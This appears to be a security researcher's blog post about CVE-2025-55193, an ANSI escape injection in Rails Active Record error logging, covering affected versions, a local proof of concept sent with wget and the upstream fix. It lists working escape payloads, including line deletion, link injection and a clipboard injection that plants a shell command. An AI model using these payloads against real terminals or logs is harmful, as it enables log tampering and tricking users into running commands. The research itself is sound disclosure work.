Exploring the ANSI escape injection in Active Record logging [CVE-2025-55193]

August 18, 2025

Last week, Rails added two security patches. One of them was meant to guard against CVE-2025-55193. This is a vulnerability in Active Record logging that could affect the log output. I was curious what an attacker could achieve by exploiting this vulnerability. Here, I logged my findings and created a simple PoC.

The sink is here. This line prints to the console, and the id is a user-controlled parameter, so it should not be trusted.

                                                                         ⌄
raise(RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}", name, primary_key, id))
>>>                                                                      ^bad boiii

It is not exploitable under most circumstances, and the impact is reduced on most terminals. However, it may still increase the attack surface, particularly if there are misconfigurations.

The affected versions:

  • activerecord >= 8.0, < 8.0.2.1 (patched in 8.0.2.1)
  • activerecord >= 7.2, < 7.2.2.2 (patched in 7.2.2.2)
  • activerecord >= 0, < 7.1.5.2 (patched in 7.1.5.2)

Please update to one of the latest Rails Versions 7.1.5.2, 7.2.2.2, or 8.0.2.1.

I wanted to see how it can be triggered, so for this, I set up a basic Rails app at the vulnerable version 7.1.0.

mkdir ansi-vulnerable
cd ansi-vulnerable
echo "source 'https://rubygems.org'" > Gemfile
echo "gem 'rails', '7.1.0'" >> Gemfile
bundle install

# Check the rails v
bundle exec rails -v

Then I created the Rails app, the DB, and a placeholder scaffold.

bundle exec rails new . --force --skip-bundle
rails g scaffold book title:string
rails db:create db:migrate

rails s # localhost:3000

Locally, I am using the xterm-256color term. So the payload for this might differ based on your terminal.

The escape sequences

I’ll not get into too many details on these. In 1967, the “C0” control character set was first defined (ISO 646).
But in the 70s, video terminals were the new cool thing. They could display colors/styles/formats, move the cursor around, modify previously written text, etc.
There was a need for standardization of the code performing these “magic” features. This was achieved by ECMA-48 (1976), ANSI X3.64 (1979), and ISO 6429 (1983).
The terms “ANSI escape sequences” and “ANSI control sequences” are often used interchangeably, but the control ones are actually a subset of the escape sequences.

Back to the Control Characters (Cc), there are two types:

  • C0 - the first 32 non-printable characters of the ASCII table (defined initially in ISO 646). They are rarely used nowadays
  • C1 - an additional 32 Ccs, both in 7-bit and 8-bit encodings. The 8-bit set is more straightforward and encodes each Cc in a single byte; it spans from 128 to 159 (decimal). The 7-bit systems cannot encode values over 128 in a single unit, so to represent them, it was decided to combine the ESC character with one character between decimal 64 and 95.

The format of a Control Sequence:

CSI Pn In F
  • CSI - Control Sequence Introducer (\x1b (ESC)/\x9b/\x5b)
  • Pn - Parameter bytes (optional, code points \x30 <> \x3f, of n length, separated by “;”)
  • In - Intermediate bytes (optional, code points \x20 <> \x2f, of n length)
  • F - Final bytes (a bit combination from \x40 <> \x7e)

Alternative notation

printf '\x1b[32m Green Text \x1b[0m\x07' - Hex
printf '\033[32m Green Text \033[0m\007' - Octal
printf '\u001b[32m Green Text \u001b[0m\u0007' - Unicode
printf '\27[32m Green Text \27[0m\7' - Decimal
printf '\e[32m Green Text \e[0m\a' - ASCII

The payload

I tested with this payload:

\x1b\x5b3;32;44m hello \x1b\x5b0m

Here:

  • \x1b and \x5b - CSI
  • 3;32;44 - P
    • 3 - italics
    • 32 - color green
    • 44 - background color blue
  • 0 - resets the style
  • m - calling the function
PAYLOAD=$(printf '\x1b\x5b3;32;44m hello \x1b\x5b0m')

wget http://localhost:3000/books/$PAYLOAD

This triggers the RecordNotFound error of ActiveRecord which prints the requested ID to the console. Being vulnerable to ANSI escape injection, it prints the styling as well.

ANSI-escape-injection-in-terminal

This here suffices in demonstrating the vulnerability.

I researched what other things an attacker might be able to do. These depend on the terminal:

  • \x1b\x5b20F hello - move the cursor to previous 20 lines
  • \x1b\x5b10M hello - delete 10 lines
  • \e]8;;http://example.com\e\\This is a link\e]8;;\e\\\n - print links in the victim’s terminal
  • \033]52;c;c2xlZXAgMQplY2hvICQod2hvYW1pKQ==\007 - clipboard injection (injecting echo $(whoami))
  • \x1b[?1001h\x1b[?1002h\x1b[?1003h\x1b[?1004h\x1b[?1005h\x1b[?1006h\x1b[?1007h\x1b[?1015h\x1b[?10016h\ - print mouse tracking values in the terminal

In some rare cases, it might even open up the possibility for remote command execution.

The patch

To fix this, the Rails team added a call .inspect on the id before printing it to the console (commit 3beef20).

Resources

  • https://nicholas-morris.com/articles/ansi-codes - Great read
  • https://invisible-island.net/xterm/ctlseqs/ctlseqs.html - Documentation to all the sequences xterm supports
  • https://www.youtube.com/watch?v=opW_Q7jvSbc - Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare

Open for work opportunities

Hi, I'm a Full-Stack Engineer with 4+ years of experience building scalable, secure software using Ruby on Rails, React, TypeScript, Node.js, and Express.


I'm currently open to new projects where I can solve problems and contribute to product-driven teams.


For details, email me at:

organicdarius@gmail.com